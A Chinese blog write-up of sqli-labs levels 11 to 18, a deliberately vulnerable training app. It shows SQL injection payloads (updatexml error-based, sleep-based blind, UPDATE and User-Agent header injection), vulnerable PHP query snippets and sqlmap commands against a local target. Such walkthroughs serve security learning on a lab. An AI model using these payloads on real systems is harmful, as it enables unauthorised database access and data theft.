当前位置:网站首页>在sqli-liabs学习SQL注入之旅(第十一关~第二十关)
在sqli-liabs学习SQL注入之旅(第十一关~第二十关)
2022-04-23 08:34:00 【关键_词】
十一关

可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞!
前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。
第一步:判断参数接受的类型。
账号:admin' 密码:1111 页面报错
账号:admin' # 密码:1111 登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin 密码:1111' 页面报错
账号:admin 密码:1111' # 页面正常 判断参数接受方式 password = '$password'
注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。
查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 参数类型判断正确!
如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 成功获取数据库名

第三步:爆所有表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

后面爆列名,爆数据我就不重复了,前面十关的语句如果我们有收藏,这里直接复制粘贴即可!
这里有个小疑问:为什么前面都使用 --+ 注释后面的语句,到这里变 # 了。其实我也没搞懂,只是因为 --+ 在这里行不通,不行你试试!实战中我们两个都试一下就行了。
也可以使用工具sqlmap一把梭
由于这里是POST注入,我们需要抓个包,然后保存文档去跑
第一步:输入账号密码,提交后,使用burp suite抓个包!
第二步:将抓包到的数据复制到一个txt文件,然后使用sqlmap工具来实现POST注入

最终效果

十二关
第一步:猜参数接受类型
账号:admin' 密码:1111 页面正常
账号:admin" 密码:1111 页面报错 判断有 " ,从页面的报错可以知道还有 ()
账号:admin") # 密码:1111 页面正常 判断参数接受方式:username = ("$username")
查看第十二关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; 判断正确
第二步:直接上使用报错语句
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

后面的不做重复,参考前面的关卡!!
十三关
这一关和十二关类似,区别在于参数的接受方式不同:
十二关:username = ("$username") 双引号
十三关:username = ('$username') 单引号
第十三关源码:@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
十四关
这一关更简单,使用的是 " 接受参数类型。
这一关使用的参数接受类型:password="$passwd"
第十四关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
后续操作看前面的关卡,不再重复!!
十五关
第一步:猜参数接受类型
账号:admin' 密码:1111 页面正常
账号:admin" 密码:1111 页面正常
账号:admin') 密码:1111 页面正常 判断页面无论对错都不返回东西。只能上绝招!!
第二步:延时注入
账号:admin' and sleep(5) 页面停5秒 判断代码: username = ('$username')
查看十五关源码:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 判断正确
注意:延时注入语句 admin' and sleep(5) 前提是admin必须正确!!!不然无论如何页面都没反应。
接下来的操作和前面关卡的延时注入一样。区别在于前面是 GET方式 注入,这里是 POST方式 注入。
小结:这关考核了延时注入,当然前面几关也可以延时注入,不过我们要节省时间,高效为主。不得已才用延时注入!
报错注入语句形式:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
延时注入语句形式:admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1) #
*可以发现,报错注入前面的参数只要出错,后面的语句就能执行。
*但是延时注入不同,我们必须保证前提条件admin正确,and后面的语句才会被执行。我们才能知道我们后面的语句是否正确!!!
十六关
这一关和十五关类似,也是使用延时注入!区别在于参数的接受方式不同:
十五关:admin' and sleep(5) # username = '$username'
十六关:admin") and sleep(5) # username = ("$username")
十七关

这一关页面提示了我们,重置密码。其实万变不离其宗!开搞!!!
第一步:猜参数接受方式
账号:admin' 密码:111 页面显示更改失败
账号:admin" 密码:111 页面显示更改失败 到这里我们发现账号没注入点,那就试试注入密码
账号:admin 密码:111' 页面报错
账号:admin 密码:111' # 页面正常 判断接受方式为:password = '$password'
查看十七关源码:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
因为这一关是更改密码操作,我们看到了下面update语句中password接受方式,证明我们判断正确!!!
而且这里 username='$row1' 使用的是预编译,不存在注入点!
第二步:我们知道了注入点在 password 直接上报错语句就好了!
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注意:我们判断参数接受的时候(账号:admin 密码:111' # 页面正常)这条语句会把我们数据库所有的账号密码改成 111 ,我们只需要重置下sqliabs数据库即可。如下


十八关

根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!
第一步:猜参数接受方式
账号:admin' 密码:111 页面显示更改失败
账号:admin" 密码:111 页面显示更改失败 到这里我们发现账号没注入点,那就试试注入密码
账号:admin 密码:111' 页面显示更改失败
账号:admin 密码:111' # 页面显示更改失败 看来注入点不在账号密码中
都没有,那我们模拟实战中普通用户正常登录康康
账号:admin 密码:admin 我的账号密码是这样的,你们的按自己的来
登录后,可以看见页面输出了我们的User-Agent头内容,大概猜到这关考的是请求头注入!不同什么是数据包请求头的小伙伴可以自己百度,这是基础来的!

我们使用抓包神器 burp suite 抓个包看看请求头内容

页面报错,说明存在注入,直接上报错语句。

这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。

我们这样去构造语句:
之前的报错语句写法
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
成功跑出数据库名,后面的表名,列名就不再重复。主要学思路!
这一关如果不看源码,大部分的人都无法成功注入!所以通过多打靶场积累经验,这样实战才能得心应手!!!
当然也可以使用sqlmap神器一把梭
因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs
十九关
未完待续
版权声明
本文为[关键_词]所创,转载请带上原文链接,感谢
https://blog.csdn.net/guanjian_ci/article/details/124337012
边栏推荐
- 【精品】利用动态代理实现事务统一管理 二
- Asan minimalism
- '恶霸' Oracle 又放大招,各大企业连夜删除 JDK。。。
- STM32使用HAL库,整体结构和函数原理介绍
- LINQ Learning Series ----- 1.4 anonymous objects
- Overview of bus structure
- 对OutputStream类的flush()方法的误解
- Virtual online exhibition - Online VR exhibition hall realizes 24h immersive exhibition viewing
- 洋桃电子STM32物联网入门30步笔记二、CubeIDE下载、安装、汉化、设置
- Harbor企业级镜像管理系统实战
猜你喜欢

第一性原理 思维导图

Yangtao electronic STM32 Internet of things introduction 30 steps notes 1. The difference between Hal library and standard library

SYS_CONNECT_BY_PATH(column,'char') 结合 start with ... connect by prior

Flink SQL实现流批一体

RPC procedure

How to generate assembly file

MySQL查询两张表属性值非重复的数据

Notes on 30 steps of introduction to Internet of things of yangtao electronics STM32 III. Explanation of new cubeide project and setting

汇编语言与逆向工程 栈溢出漏洞逆向分析实验报告

HAL库的RCC简介
随机推荐
Using qlst excel file
jsp页面编码
队列(c语言/链表)
Misunderstanding of flush () method of OutputStream class
An example of network communication based on TCP / IP protocol -- file transmission
On time atom joins hands with oneos live broadcast, and the oneos system tutorial is fully launched
pgsql想实现mysql一样样的列子查询操作
STM32 uses Hal library. The overall structure and function principle are introduced
Yangtao electronic STM32 Internet of things introduction 30 steps notes 1. The difference between Hal library and standard library
Overview of bus structure
DOM 学习之—添加+-按钮
Flink SQL实现流批一体
作文以记之 ~ 二叉树的后序遍历
idea配置连接远程数据库MySQL,或者是Navicat连接远程数据库失败问题(已解决)
word加水印
How to generate assembly file
Protobuf简介
CGM optimizes blood glucose monitoring and management -- Yiyu technology appears in Sichuan International Medical Exchange Promotion Association
'恶霸' Oracle 又放大招,各大企业连夜删除 JDK。。。
Excle plus watermark
